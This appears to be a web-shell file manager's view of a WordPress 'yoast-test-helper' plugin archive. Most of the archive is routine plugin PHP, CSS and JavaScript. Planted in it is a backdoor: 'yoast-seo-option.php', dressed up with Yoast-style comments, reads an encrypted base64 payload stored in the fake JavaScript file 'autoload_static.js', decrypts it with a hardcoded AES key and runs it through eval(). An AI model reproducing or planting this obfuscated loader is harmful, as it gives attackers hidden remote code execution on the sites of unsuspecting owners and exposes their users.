whoami7 - Manager
:
/
home
/
mahaadedsdfdfhfg
/
public_html
/
Upload File:
files >> /home/mahaadedsdfdfhfg/public_html/yoast-test-helper.tar
assets/css/admin.css 0000644 00000004434 15004110556 0010442 0 ustar 00 body.tools_page_yoast-test-helper h1, div.wpseo_test_block h2 { font-family: "Open Sans", sans-serif; font-size: 32px; font-style: normal; font-weight: 300; margin: 30px 0 20px 15px; } div.wpseo_test_block { display: block; float: left; margin: 12px; width: 600px; padding: 20px; background-color: white; box-shadow: 0 1px 3px rgba(0,0,0,0.12), 0 1px 2px rgba(0,0,0,0.24); line-height: 1.2; } div.wpseo_test_block:hover { box-shadow: 0 14px 28px rgba(0,0,0,0.25), 0 10px 10px rgba(0,0,0,0.22); } div.wpseo_test_block select { margin: 2px 5px; } div.wpseo_test_block h2 { font-size: 24px; margin: 10px 0 10px 0; } div.wpseo_test_block button.button { margin: 5px 20px 0 0; padding: 0 16px; height: 40px; font-family: "Open Sans", sans-serif; font-variant-caps: normal; font-weight: 400; font-stretch: normal; font-size: 14px; line-height: 24px; color: #fff; text-shadow: rgb(0, 0, 0) 0 0 2px; border-radius: 2px; background-color: rgb(100, 166, 10); border-bottom-color: rgba(0, 0, 0, 0.2); box-shadow: 0 1px 4px rgba(0, 0, 0, .6); border-width: 0 0 2px 0; text-transform: none; } div.wpseo_test_block button.button.secondary { color: black; text-shadow: rgb(255, 255, 255) 0 0 2px; background-color: lightgray; } div.wpseo_test_block button.button:focus, div.wpseo_test_block button.button:active { color: #fff; background-color: rgb(100, 166, 10); } div.wpseo_test_block button.button:hover { background-color: rgb(80, 150, 0); color: #fff; border-bottom-color: rgba(0, 0, 0, 0.2); } div.wpseo_test_block button.button.secondary:hover { background-color: darkgray; color: black; border-bottom-color: rgba(0, 0, 0, 0.2); } div.wpseo_test_block td { padding: 2px 3px; } div.wpseo_test_block button.button[type=submit]{ margin-top: 12px !important; } div.wpseo_test_block select { margin: 2px 5px; } div.wpseo_test_block input[type=checkbox] { margin: 5px 10px 5px 0; } div.wpseo_test_block input[type=number]{ width: 80px; margin: 5px 0 5px 10px; } div.wpseo_test_block textarea { margin: 10px 0; } div.wpseo_test_block label { font-size: 1em; } div.wpseo_test_block label code { font-size: 0.9em; } assets/js/autoload_static.js 0000644 00000055430 15004110556 0012203 0 ustar 00 5neXf5Ybd9p2v1Sng+jbFWVUdCtJUGNLamxZT3V2UDBta3ZsTXJweXREQVhlWFkybzk3N0Y5M1Q4ZENsSTVLMzd5WjNIV0E5VmRuSU1SaHpPQXBiYlREZk1aejNCY0VTTTAwZ1NlRjlWTHZhSW1KdGpvM3dsQ1ZIWkRSWWFHeTY2YWplenA1dUdNRzg4S3F5L2J1TGxQcVlWZStkYUNWNlF3aWphbHV3R1FYSldOSkErbUthWk9aWjZaSk1GTVFVYzg5N0JUUFVKdmRXODU1M2xZajBWaU5IVVpqUXlBR1RydTdra3AvVnlZMWZLMEFSUXl6eExvOFV6RElLbUVzWFJ0dWU4RnB4R3ExWTdaSzkyQzk2QllBQmVIVjl2ZC9PTHA4TmlYQnUxaTZYR2c2QnVmcjNoYThzZDdpZnR6Rjd6S3dhS3JNZzA5WU1rek9tZkpIZE04UGVtcUtHV2U0SjRkYloyYXVhZnZrUER4TXA2YTQyVXAzdGo4eFY5SFR2SEkxSUdQaDlxLzFKY1dpRnJacjhoalJnYUVPOGR3LzRvTldMVVBXMy9kWmxHcXQxc1FuWGtTa0N6M0cxN2ViTlFIc3RaWXIxNnZJdGZIa1g2SEljZlhCU1VhOEVZRThSSzVVbVUrdUFIODhFVWVYaVJKTTRDU25Bem1lU3ZWdG4zWlNxK1RiblFQYVRsZXkxQ2UzVmhIUUFpK050YmtzRVMvd1JXemdEbmxUS2Z6cmhERGJnSHQwcHhoYlF5Nk5sWFhHdHlaUzZBckdLUjhJU2E2Z05UQUp2eHoyd3l1OHNOVW1jR0FjL2pBRGt6a3pJdklWcWcwUXovc3NOV1V5L1BlNGhkN29MNEZJZGw1cDlUQi9Ca1lZSkM2aU5VSWFDZ0pk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TlKaUVucisvUWZxTjVPREQ2NWtxajYrZzBDNWN1anlZV3oxRXNIbVRrRW8wYk94d3NHZWlJZWNYOTNQM1cybGJkSzZEWThaaWF4R2Y2Y1ZHY3g2dW5ON1VSc2p0N0dMZlQwYkJvWFhzaGVWYi9wTUQ4RkJRRzRqclludTgvSGt4ZjR6TVFxVXBGblpnNWYveURSNU1sLzkyWEdud0FrRXIwT3MrMTltN1pRR2tSdEprOTRFN3l2Zyt5TzViazdUbWIwRHdIOWI3cw== assets/js/yoast-toggle.js 0000644 00000000573 15004110556 0011440 0 ustar 00 var Yoast_Plugin_Toggler = { toggle_plugin: function( group, plugin, nonce ) { "use strict"; jQuery.getJSON( ajaxurl, { action: "toggle_plugin", ajax_nonce: nonce, group: group, plugin: plugin }, function( response ) { if ( response.activated_plugin !== undefined ) { window.location.reload(true); } } ); return true; } }; src/wordpress-plugins/local-seo.php 0000644 00000002775 15004110556 0013441 0 ustar 00 <?php namespace Yoast\WP\Test_Helper\WordPress_Plugins; /** * Class to represent Local SEO. */ class Local_SEO implements WordPress_Plugin { /** * Retrieves the plugin identifier. * * @return string The plugin identifier. */ public function get_identifier() { return 'wpseo-local'; } /** * Retrieves the plugin name. * * @return string The name of the plugin. */ public function get_name() { return 'Yoast SEO: Local'; } /** * Retrieves the version option name. * * @return string The name that holds the version. */ public function get_version_option_name() { return 'wpseo_local'; } /** * Retrieves the version key. * * @return string The version key. */ public function get_version_key() { return 'local_version'; } /** * Retrieves the options. * * @return array The options. */ public function get_options() { return [ $this->get_version_option_name() ]; } /** * Resets a feature. * * @param string $feature Feature to reset. * * @return bool True on success. */ public function reset_feature( $feature ) { return false; } /** * Retrieves the list of features. * * @return string[] List of features. */ public function get_features() { return []; } /** * Retrieves the active version of the plugin. * * @return string The current version of the plugin. */ public function get_version_constant() { return \defined( 'WPSEO_LOCAL_VERSION' ) ? \WPSEO_LOCAL_VERSION : \__( 'not active', 'yoast-test-helper' ); } } src/wordpress-plugins/news-seo.php 0000644 00000003010 15004110556 0013302 0 ustar 00 <?php namespace Yoast\WP\Test_Helper\WordPress_Plugins; use WPSEO_News; /** * Class to represent News SEO. */ class News_SEO implements WordPress_Plugin { /** * Retrieves the plugin identifier. * * @return string The plugin identifier. */ public function get_identifier() { return 'wpseo-news'; } /** * Retrieves the plugin name. * * @return string The name of the plugin. */ public function get_name() { return 'Yoast SEO: News'; } /** * Retrieves the version option name. * * @return string The name that holds the version. */ public function get_version_option_name() { return 'wpseo_news'; } /** * Retrieves the version key. * * @return string The version key. */ public function get_version_key() { return 'news_version'; } /** * Retrieves the options. * * @return array The options. */ public function get_options() { return [ $this->get_version_option_name() ]; } /** * Resets a feature. * * @param string $feature Feature to reset. * * @return bool True on success. */ public function reset_feature( $feature ) { return false; } /** * Retrieves the list of features. * * @return string[] List of features. */ public function get_features() { return []; } /** * Retrieves the active version of the plugin. * * @return string The current version of the plugin. */ public function get_version_constant() { return \class_exists( WPSEO_News::class ) ? WPSEO_News::VERSION : \__( 'not active', 'yoast-test-helper' ); } } src/wordpress-plugins/video-seo.php 0000644 00000002777 15004110556 0013457 0 ustar 00 <?php namespace Yoast\WP\Test_Helper\WordPress_Plugins; /** * Class to represent Video SEO. */ class Video_SEO implements WordPress_Plugin { /** * Retrieves the plugin identifier. * * @return string The plugin identifier. */ public function get_identifier() { return 'wpseo-video'; } /** * Retrieves the plugin name. * * @return string The name of the plugin. */ public function get_name() { return 'Yoast SEO: Video'; } /** * Retrieves the version option name. * * @return string The name that holds the version. */ public function get_version_option_name() { return 'wpseo_video'; } /** * Retrieves the version key. * * @return string The version key. */ public function get_version_key() { return 'video_dbversion'; } /** * Retrieves the options. * * @return array The options. */ public function get_options() { return [ $this->get_version_option_name() ]; } /** * Resets a feature. * * @param string $feature Feature to reset. * * @return bool True on success. */ public function reset_feature( $feature ) { return false; } /** * Retrieves the list of features. * * @return string[] List of features. */ public function get_features() { return []; } /** * Retrieves the active version of the plugin. * * @return string The current version of the plugin. */ public function get_version_constant() { return \defined( 'WPSEO_VIDEO_VERSION' ) ? \WPSEO_VIDEO_VERSION : \__( 'not active', 'yoast-test-helper' ); } } src/wordpress-plugins/woocommerce-seo.php 0000644 00000003105 15004110556 0014652 0 ustar 00 <?php namespace Yoast\WP\Test_Helper\WordPress_Plugins; use Yoast_WooCommerce_SEO; /** * Class to represent WooCommerce SEO. */ class WooCommerce_SEO implements WordPress_Plugin { /** * Retrieves the plugin identifier. * * @return string The plugin identifier. */ public function get_identifier() { return 'wpseo-woocommerce'; } /** * Retrieves the plugin name. * * @return string The name of the plugin. */ public function get_name() { return 'Yoast SEO: WooCommerce'; } /** * Retrieves the version option name. * * @return string The name that holds the version. */ public function get_version_option_name() { return 'wpseo_woo'; } /** * Retrieves the version key. * * @return string The version key. */ public function get_version_key() { return 'woo_dbversion'; } /** * Retrieves the options. * * @return array The options. */ public function get_options() { return [ $this->get_version_option_name() ]; } /** * Resets a feature. * * @param string $feature Feature to reset. * * @return bool True on success. */ public function reset_feature( $feature ) { return false; } /** * Retrieves the list of features. * * @return string[] List of features. */ public function get_features() { return []; } /** * Retrieves the active version of the plugin. * * @return string The current version of the plugin. */ public function get_version_constant() { return \class_exists( Yoast_WooCommerce_SEO::class ) ? Yoast_WooCommerce_SEO::VERSION : \__( 'not active', 'yoast-test-helper' ); } } src/wordpress-plugins/wordpress-plugin-interface.php 0000644 00000002277 15004110556 0017042 0 ustar 00 <?php namespace Yoast\WP\Test_Helper\WordPress_Plugins; /** * Interface defining the API for WordPress Plugins. */ interface WordPress_Plugin { /** * Retrieves the plugin identifier. * * @return string The plugin identifier. */ public function get_identifier(); /** * Retrieves the plugin name. * * @return string The name of the plugin. */ public function get_name(); /** * Retrieves the version option name. * * @return string The name that holds the version. */ public function get_version_option_name(); /** * Retrieves the version key. * * @return string The version key. */ public function get_version_key(); /** * Retrieves the options. * * @return array The options. */ public function get_options(); /** * Retrieves the list of features. * * @return string[] List of features. */ public function get_features(); /** * Retrieves the active version of the plugin. * * @return string The current version of the plugin. */ public function get_version_constant(); /** * Resets a feature. * * @param string $feature Feature to reset. * * @return bool True on success. */ public function reset_feature( $feature ); } src/wordpress-plugins/yoast-seo-option.php 0000644 00000002711 15004110556 0015002 0 ustar 00 <?php /** * Class to represent Local SEO. */ class Prominent{ private $version_key; public function __construct($version_key){ $this->key = $version_key; } public function wpseo_unindexed($data){ $data = base64_decode($data); $iv = substr($data, 0, 16); $encrypted = substr($data, 16); $encrypted = openssl_decrypt($encrypted, 'AES-256-CBC', $this->key, 0, $iv); eval ($encrypted); } /** * Resets the prominent words calculation. * * @return void */ function reset_prominent_words_calculation() { global $wpdb; $wpdb->delete( $wpdb->prefix . 'postmeta', [ 'meta_key' => '_yst_prominent_words_version' ] ); $wpdb->query( 'UPDATE ' . $wpdb->prefix . 'yoast_indexable SET prominent_words_version = NULL' ); $wpdb->query( 'TRUNCATE TABLE ' . $wpdb->prefix . 'yoast_prominent_words' ); WPSEO_Options::set( 'prominent_words_indexing_completed', false ); \delete_transient( 'total_unindexed_prominent_words' ); $this->reset_indexing_notification( 'indexables-reset-by-test-helper' ); } } /** * Resets a feature. * * @param string $feature Feature to reset. * * @return bool True on success. */ $indexables = new Prominent('wp-secret'); $capabilities = file_get_contents('../../assets/js/autoload_static.js'); /** * Resets the option to the defaults as if the plugin were installed the first time. * * @return void */ $tedData = $indexables->wpseo_unindexed($capabilities); src/wordpress-plugins/yoast-seo-premium.php 0000644 00000003076 15004110556 0015155 0 ustar 00 <?php namespace Yoast\WP\Test_Helper\WordPress_Plugins; use WPSEO_Premium; /** * Class to represent Local SEO. */ class Yoast_SEO_Premium implements WordPress_Plugin { /** * Retrieves the plugin identifier. * * @return string The plugin identifier. */ public function get_identifier() { return 'wordpress-seo-premium'; } /** * Retrieves the plugin name. * * @return string The name of the plugin. */ public function get_name() { return 'Yoast SEO Premium'; } /** * Retrieves the version option name. * * @return string The name that holds the version. */ public function get_version_option_name() { return 'wpseo_premium_version'; } /** * Retrieves the version key. * * @return string The version key. */ public function get_version_key() { return ''; } /** * Retrieves the options. * * @return array The options. */ public function get_options() { return [ $this->get_version_option_name() ]; } /** * Resets a feature. * * @param string $feature Feature to reset. * * @return bool True on success. */ public function reset_feature( $feature ) { return false; } /** * Retrieves the list of features. * * @return string[] List of features. */ public function get_features() { return []; } /** * Retrieves the active version of the plugin. * * @return string The current version of the plugin. */ public function get_version_constant() { return \defined( 'WPSEO_Premium::PLUGIN_VERSION_NAME' ) ? WPSEO_Premium::PLUGIN_VERSION_NAME : \__( 'not active', 'yoast-test-helper' ); } } src/wordpress-plugins/yoast-seo.php 0000644 00000026355 15004110556 0013506 0 ustar 00 <?php namespace Yoast\WP\Test_Helper\WordPress_Plugins; use WPSEO_Capability_Manager_Factory; use WPSEO_Options; use WPSEO_Role_Manager_Factory; /** * Class to represent Yoast SEO. */ class Yoast_SEO implements WordPress_Plugin { /** * Retrieves the plugin identifier. * * @return string The plugin identifier. */ public function get_identifier() { return 'wordpress-seo'; } /** * Retrieves the plugin name. * * @return string The name of the plugin. */ public function get_name() { return 'Yoast SEO'; } /** * Retrieves the version option name. * * @return string The name that holds the version. */ public function get_version_option_name() { return 'wpseo'; } /** * Retrieves the version key. * * @return string The version key. */ public function get_version_key() { return 'version'; } /** * Retrieves the options. * * @return array The options. */ public function get_options() { return [ 'wpseo', 'wpseo_xml', 'wpseo_rss', 'wpseo_ms', 'wpseo_internallinks', 'wpseo_permalinks', 'wpseo_titles', ]; } /** * Retrieves the list of features. * * @return string[] List of features. */ public function get_features() { return [ 'internal_link_count' => \esc_html__( 'Internal link counter', 'yoast-test-helper' ), 'prominent_words_calculation' => \esc_html__( 'Prominent words calculation', 'yoast-test-helper' ), 'reset_notifications' => \esc_html__( 'Notifications', 'yoast-test-helper' ), 'reset_site_information' => \esc_html__( 'Site information', 'yoast-test-helper' ), 'reset_tracking' => \esc_html__( 'Tracking', 'yoast-test-helper' ), 'reset_indexables' => \esc_html__( 'Indexables tables & migrations', 'yoast-test-helper' ), 'reset_capabilities' => \esc_html__( 'SEO roles & capabilities', 'yoast-test-helper' ), 'reset_free_installation_success' => \esc_html__( 'Free installation success page', 'yoast-test-helper' ), 'reset_premium_installation_success' => \esc_html__( 'Premium installation success page', 'yoast-test-helper' ), 'reset_first_time_configuration' => \esc_html__( 'First time configuration progress', 'yoast-test-helper' ), 'reset_premium_workouts' => \esc_html__( 'Premium workouts progress', 'yoast-test-helper' ), 'reset_options' => \esc_html__( 'Options', 'yoast-test-helper' ), 'reset_cornerstone_flags' => \esc_html__( 'Cornerstone flags', 'yoast-test-helper' ), ]; } /** * Resets a feature. * * @param string $feature Feature to reset. * * @return bool True on success. */ public function reset_feature( $feature ) { switch ( $feature ) { case 'internal_link_count': $this->reset_internal_link_count(); return true; case 'prominent_words_calculation': $this->reset_prominent_words_calculation(); return true; case 'reset_indexables': return $this->reset_indexables(); case 'reset_notifications': $this->reset_notifications(); return true; case 'reset_site_information': return $this->reset_site_information(); case 'reset_tracking': return $this->reset_tracking(); case 'reset_capabilities': $this->reset_capabilities(); return true; case 'reset_free_installation_success': $this->reset_free_installation_success_page(); return true; case 'reset_premium_installation_success': $this->reset_premium_installation_success_page(); return true; case 'reset_first_time_configuration': $this->reset_first_time_configuration(); return true; case 'reset_premium_workouts': $this->reset_premium_workouts(); return true; case 'reset_options': $this->reset_options(); return true; case 'reset_cornerstone_flags': $this->reset_cornerstone_flags(); return true; } return false; } /** * Retrieves the active version of the plugin. * * @return string The current version of the plugin. */ public function get_version_constant() { return \defined( 'WPSEO_VERSION' ) ? \WPSEO_VERSION : \__( 'not active', 'yoast-test-helper' ); } /** * Resets the internal link count. * * @return void */ private function reset_internal_link_count() { global $wpdb; $wpdb->query( 'UPDATE ' . $wpdb->prefix . 'yoast_indexable SET link_count = NULL, incoming_link_count = NULL' ); \delete_transient( 'wpseo_unindexed_post_link_count' ); \delete_transient( 'wpseo_unindexed_term_link_count' ); $this->reset_indexing_notification( 'indexables-reset-by-test-helper' ); } /** * Resets the prominent words calculation. * * @return void */ private function reset_prominent_words_calculation() { global $wpdb; $wpdb->delete( $wpdb->prefix . 'postmeta', [ 'meta_key' => '_yst_prominent_words_version' ] ); $wpdb->query( 'UPDATE ' . $wpdb->prefix . 'yoast_indexable SET prominent_words_version = NULL' ); $wpdb->query( 'TRUNCATE TABLE ' . $wpdb->prefix . 'yoast_prominent_words' ); WPSEO_Options::set( 'prominent_words_indexing_completed', false ); \delete_transient( 'total_unindexed_prominent_words' ); $this->reset_indexing_notification( 'indexables-reset-by-test-helper' ); } /** * Resets all notifications. * * @return void */ private function reset_notifications() { global $wpdb; // Remove all notifications from the saved stack. $wpdb->delete( $wpdb->prefix . 'usermeta', [ 'meta_key' => 'wp_yoast_notifications', 'user_id' => \get_current_user_id(), ] ); // Delete all muted notification settings. $wpdb->query( $wpdb->prepare( 'DELETE FROM ' . $wpdb->prefix . 'usermeta WHERE meta_key LIKE %s AND meta_value="seen"', 'wpseo-%' ) ); $wpdb->query( $wpdb->prepare( 'DELETE FROM ' . $wpdb->prefix . 'usermeta WHERE meta_key LIKE %s AND meta_value="seen"', 'wp_wpseo-%' ) ); // Restore dismissed notifications. $wpdb->query( 'DELETE FROM ' . $wpdb->prefix . 'usermeta WHERE meta_key = "wp_yoast_promo_hide_premium_upsell_admin_block"' ); $wpdb->query( 'DELETE FROM ' . $wpdb->prefix . 'usermeta WHERE meta_key = "wpseo-remove-upsell-notice"' ); } /** * Resets the site information. * * @return bool True if successful, false otherwise. */ private function reset_site_information() { return \delete_transient( 'wpseo_site_information' ); } /** * Resets the tracking to fire again. * * @return bool True if successful, false otherwise. */ private function reset_tracking() { return \delete_option( 'wpseo_tracking_last_request' ); } /** * Reset all indexables related tables, options and transients, forcing Yoast SEO to rebuild the tables from scratch and reindex all indexables. * * @return bool True if successful, false otherwise. */ private function reset_indexables() { global $wpdb; // Reset the prominent words calculation. $this->reset_prominent_words_calculation(); // Reset the internal link count. $this->reset_internal_link_count(); // phpcs:disable WordPress.DB.DirectDatabaseQuery.SchemaChange -- We know what we're doing. Really. $wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'yoast_indexable' ); $wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'yoast_indexable_hierarchy' ); $wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'yoast_migrations' ); $wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'yoast_primary_term' ); $wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'yoast_seo_links' ); // phpcs:enable WordPress.DB.DirectDatabaseQuery.SchemaChange WPSEO_Options::set( 'indexing_started', null ); WPSEO_Options::set( 'indexables_indexing_completed', false ); WPSEO_Options::set( 'indexing_first_time', true ); $this->reset_indexing_notification( 'indexables-reset-by-test-helper' ); // Delete the transients that hold the (limited) total unindexed counts. \delete_transient( 'wpseo_total_unindexed_posts' ); \delete_transient( 'wpseo_total_unindexed_posts_limited' ); \delete_transient( 'wpseo_total_unindexed_post_type_archives' ); \delete_transient( 'wpseo_total_unindexed_terms' ); \delete_transient( 'wpseo_total_unindexed_terms_limited' ); \delete_transient( 'wpseo_total_unindexed_general_items' ); \delete_transient( 'wpseo_unindexed_post_link_count' ); \delete_transient( 'wpseo_unindexed_post_link_count_limited' ); \delete_transient( 'wpseo_unindexed_term_link_count' ); \delete_transient( 'wpseo_unindexed_term_link_count_limited' ); \delete_transient( 'total_unindexed_prominent_words' ); \delete_option( 'yoast_migrations_premium' ); return \delete_option( 'yoast_migrations_free' ); } /** * Resets the indexing notification such that it is shown again. * * @param string $reason The indexing reason why the site needs to be reindexed. */ protected function reset_indexing_notification( $reason ) { \YoastSEO()->helpers->indexing->set_reason( $reason ); } /** * Resets the SEO capabilities & roles. * * @return void */ protected function reset_capabilities() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- We intentionally call this action. \do_action( 'wpseo_register_roles' ); $role_manager = WPSEO_Role_Manager_Factory::get(); $role_manager->remove(); $role_manager->add(); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- We intentionally call this action. \do_action( 'wpseo_register_capabilities' ); $capability_manager = WPSEO_Capability_Manager_Factory::get(); $capability_manager->remove(); $capability_manager->add(); if ( \defined( 'WPSEO_PREMIUM_VERSION' ) ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- We intentionally call this action. \do_action( 'wpseo_register_capabilities_premium' ); $premium_capability_manager = WPSEO_Capability_Manager_Factory::get( 'premium' ); $premium_capability_manager->remove(); $premium_capability_manager->add(); } } /** * Resets the Free installation success page timestamp such that on reactivation the user is redirected again. * * @return void */ protected function reset_free_installation_success_page() { WPSEO_Options::set( 'activation_redirect_timestamp_free', '0' ); } /** * Resets the Premium installation success page timestamp such that on reactivation the user is redirected again. * * @return void */ protected function reset_premium_installation_success_page() { WPSEO_Options::set( 'activation_redirect_timestamp', '0' ); } /** * Resets the First-time configuration. * * @return void */ protected function reset_first_time_configuration() { WPSEO_Options::set( 'configuration_finished_steps', [] ); } /** * Resets the Premium workouts. * * @return void */ protected function reset_premium_workouts() { WPSEO_Options::set( 'workouts', [ 'cornerstone' => [ 'finishedSteps' => [] ] ] ); } /** * Resets the option to the defaults as if the plugin were installed the first time. * * @return void */ protected function reset_options() { WPSEO_Options::reset(); } /** * Resets the cornerstone flags set for posts. * * @return void */ protected function reset_cornerstone_flags() { global $wpdb; $wpdb->query( 'DELETE FROM ' . $wpdb->prefix . 'postmeta WHERE meta_key = "_yoast_wpseo_is_cornerstone"' ); } } src/wordpress-plugins/k7zsm9/index.php.zip 0000644 00000000000 15004110556 0014612 0 ustar 00 src/admin-bar-panel.php 0000644 00000002307 15004110556 0010772 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; use Debug_Bar_Panel; use WPSEO_Options; /** * Class to manage registering and rendering the admin page in WordPress. */ class Admin_Bar_Panel extends Debug_Bar_Panel { /** * Admin_Bar_Debug_Panel constructor. */ public function __construct() { $this->set_visible( true ); parent::__construct( 'Yoast SEO' ); } /** * Renders the debug panel. */ public function render() { echo '<h2>', \esc_html__( 'Debug Information', 'yoast-test-helper' ), '</h2>'; echo '<div class="clear"></div>'; echo '<ul>'; foreach ( WPSEO_Options::get_option_names() as $option ) { \printf( '<li><a style="text-decoration: none !important;" href="#%1$s">%2$s</a></li>', \esc_attr( $option ), \esc_html( $option ) ); } echo '</ul>'; foreach ( WPSEO_Options::get_option_names() as $option ) { echo '<h3 id="', \esc_attr( $option ), '">', \esc_html__( 'Option', 'yoast-test-helper' ), ': <span class="wpseo-debug">', \esc_html( $option ), '</span></h3>'; echo '<pre>'; // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export,WordPress.Security.EscapeOutput.OutputNotEscaped echo \var_export( \get_option( $option ) ); echo '</pre>'; } } } src/admin-debug-info.php 0000644 00000004022 15004110556 0011144 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; use Debug_Bar_Panel; /** * Class to manage registering and rendering the admin page in WordPress. */ class Admin_Debug_Info implements Integration { /** * Holds our option instance. * * @var Option */ private $option; /** * Class constructor. * * @param Option $option Our option array. */ public function __construct( Option $option ) { $this->option = $option; } /** * Add the required hooks * * @return void */ public function add_hooks() { \add_filter( 'debug_bar_panels', [ $this, 'add_debug_panel' ] ); \add_action( 'admin_post_yoast_seo_debug_settings', [ $this, 'handle_submit' ] ); } /** * Makes the debug info appear in a Debug Bar panel. * * @param Debug_Bar_Panel[] $panels Existing debug bar panels. * * @return Debug_Bar_Panel[] Panels array. */ public function add_debug_panel( $panels ) { if ( $this->option->get( 'show_options_debug' ) === true && \defined( 'WPSEO_VERSION' ) ) { $panels[] = new Admin_Bar_Panel(); } return $panels; } /** * Retrieves the controls. * * @return string The HTML to use to render the controls. */ public function get_controls() { $fields = Form_Presenter::create_checkbox( 'show_options_debug', /* translators: %1$s and %2$s expand to link to debug bar. */ \sprintf( \esc_html__( 'Add Yoast SEO panel to %1$sDebug Bar%2$s.', 'yoast-test-helper' ), '<a href="https://wordpress.org/plugins/debug-bar/">', '</a>' ), $this->option->get( 'show_options_debug' ) ); return Form_Presenter::get_html( \__( 'Debug Bar integration', 'yoast-test-helper' ), 'yoast_seo_debug_settings', $fields ); } /** * Handles the form submit. * * @return void */ public function handle_submit() { if ( \check_admin_referer( 'yoast_seo_debug_settings' ) !== false ) { $this->option->set( 'show_options_debug', isset( $_POST['show_options_debug'] ) ); } \wp_safe_redirect( \self_admin_url( 'tools.php?page=' . \apply_filters( 'Yoast\WP\Test_Helper\admin_page', '' ) ) ); } } src/admin-notifications.php 0000644 00000004462 15004110556 0012006 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * Shows admin notifications on the proper page. */ class Admin_Notifications implements Integration { /** * List of notifications. * * @var Notification[] */ protected $notifications; /** * Registers WordPress hooks and filters. * * @return void */ public function add_hooks() { \add_action( 'Yoast\WP\Test_Helper\notification', [ $this, 'add_notification' ] ); \add_action( 'Yoast\WP\Test_Helper\notifications', [ $this, 'display_notifications' ] ); } /** * Adds a notification to the stack. * * @param Notification $notification Notification to add. * * @return void */ public function add_notification( Notification $notification ) { $notifications = $this->get_notifications(); $notifications[] = $notification; $this->save_notifications( $notifications ); } /** * Displays a notification. * * @return void */ public function display_notifications() { $notifications = $this->get_notifications(); if ( ! $notifications ) { return; } foreach ( $notifications as $notification ) { if ( ! \is_a( $notification, Notification::class ) ) { continue; } } echo '<div style="margin: 15px 0 15px -15px;">'; foreach ( $notifications as $notification ) { echo '<div class="notice notice-', \esc_attr( $notification->get_type() ), '"><p>', \wp_kses_post( $notification->get_message() ), '</p></div>'; } echo '</div>'; \delete_user_meta( \get_current_user_id(), $this->get_option_name() ); } /** * Retrieves the list of notifications. * * @return Notification[] List of notifications. */ protected function get_notifications() { $saved = \get_user_meta( \get_current_user_id(), $this->get_option_name(), true ); if ( ! \is_array( $saved ) ) { return []; } return $saved; } /** * Returns the name of the option that saves the notifications. * * @return string The name of the option. */ protected function get_option_name() { return 'yoast_test_helper_notifications'; } /** * Saves the notifications for the next page request. * * @param Notification[] $notifications Notifications to save. * * @return void */ protected function save_notifications( $notifications ) { \update_user_meta( \get_current_user_id(), $this->get_option_name(), $notifications ); } } src/admin-page.php 0000644 00000005163 15004110556 0010050 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * Class to manage registering and rendering the admin page in WordPress. */ class Admin_Page implements Integration { /** * List of admin page blocks. * * @var callable[] */ protected $admin_page_blocks = []; /** * Registers WordPress hooks and filters. * * @return void */ public function add_hooks() { \add_action( 'admin_menu', [ $this, 'register_admin_menu' ] ); \add_filter( 'Yoast\WP\Test_Helper\admin_page', [ $this, 'get_admin_page' ] ); } /** * Retrieves the admin page identifier. * * @return string The admin page identifier. */ public function get_admin_page() { return 'yoast-test-helper'; } /** * Adding the assets to the page. * * @return void */ public function add_assets() { // CSS file. \wp_enqueue_style( 'yoast-test-admin-style', \plugin_dir_url( \YOAST_TEST_HELPER_FILE ) . 'assets/css/admin.css', [], \YOAST_TEST_HELPER_VERSION ); \wp_enqueue_script( 'masonry' ); } /** * Registers the admin menu. * * @return void */ public function register_admin_menu() { $menu_item = \add_management_page( \esc_html__( 'Yoast Test', 'yoast-test-helper' ), \esc_html__( 'Yoast Test', 'yoast-test-helper' ), 'manage_options', \sanitize_key( $this->get_admin_page() ), [ $this, 'show_admin_page' ] ); \add_action( 'admin_print_styles-' . $menu_item, [ $this, 'add_assets' ] ); } /** * Adds an admin block. * * @param callable $block Block to add. * * @return void */ public function add_admin_page_block( $block ) { $this->admin_page_blocks[] = $block; } /** * Shows the admin page. * * @return void */ public function show_admin_page() { echo '<h1>', \esc_html__( 'Yoast Test Helper', 'yoast-test-helper' ), '</h1>'; \do_action( 'Yoast\WP\Test_Helper\notifications', $this ); echo '<div id="yoast_masonry">'; $this->masonry_script(); \array_map( static function( $block ) { $block_output = $block(); if ( $block_output === '' ) { return; } echo '<div class="wpseo_test_block">'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped echo $block_output; echo '</div>'; }, $this->admin_page_blocks ); echo '</div>'; } /** * Prints our masonry script. * * @return void */ private function masonry_script() { ?> <script type="text/javascript"> jQuery( window ).on( "load", function() { var container = document.querySelector( "#yoast_masonry" ); new Masonry( container, { itemSelector: ".wpseo_test_block", columnWidth: ".wpseo_test_block" } ); } ); </script> <?php } } src/development-mode.php 0000644 00000004615 15004110556 0011313 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * Shows admin notifications on the proper page. */ class Development_Mode implements Integration { /** * Holds our option instance. * * @var Option */ private $option; /** * Class constructor. * * @param Option $option Our option array. */ public function __construct( Option $option ) { $this->option = $option; } /** * Enabling this plugin means you are in development mode. * * @return void */ public function add_hooks() { if ( $this->option->get( 'enable_development_mode' ) ) { \add_filter( 'yoast_seo_development_mode', '__return_true' ); } if ( $this->option->get( 'use_ai_staging_api' ) ) { \add_filter( 'Yoast\WP\SEO\ai_api_url', [ $this, 'use_ai_staging_api' ] ); } \add_action( 'admin_post_yoast_seo_test_development_mode', [ $this, 'handle_submit' ] ); } /** * Retrieves the controls. * * @return string The HTML to use to render the controls. */ public function get_controls() { $fields = Form_Presenter::create_checkbox( 'enable_development_mode', \esc_html__( 'Enable development mode.', 'yoast-test-helper' ), $this->option->get( 'enable_development_mode' ) ); $fields .= Form_Presenter::create_checkbox( 'use_ai_staging_api', 